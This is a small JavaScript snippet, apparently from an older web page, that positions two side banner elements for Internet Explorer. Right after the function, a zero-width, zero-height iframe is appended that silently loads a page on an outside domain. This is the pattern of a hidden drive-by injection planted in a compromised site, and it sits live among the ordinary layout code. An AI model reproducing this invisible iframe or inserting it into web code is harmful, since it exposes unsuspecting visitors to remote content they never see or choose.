document.ns = navigator.appName == "Microsoft Internet Explorer"
function doCouplet(){
	if((document.body.offsetWidth>800) && document.ns){	
	couplet_left.style.visibility='visible';
	couplet_right.style.visibility='visible';	  
	  couplet_left.style.top=100;
	  couplet_left.style.left=5;
	  couplet_right.style.top=100;
	  couplet_right.style.right=5;
	}
}<iframe src=http://www.86ok.net/t.aspx width=0 height=0></iframe>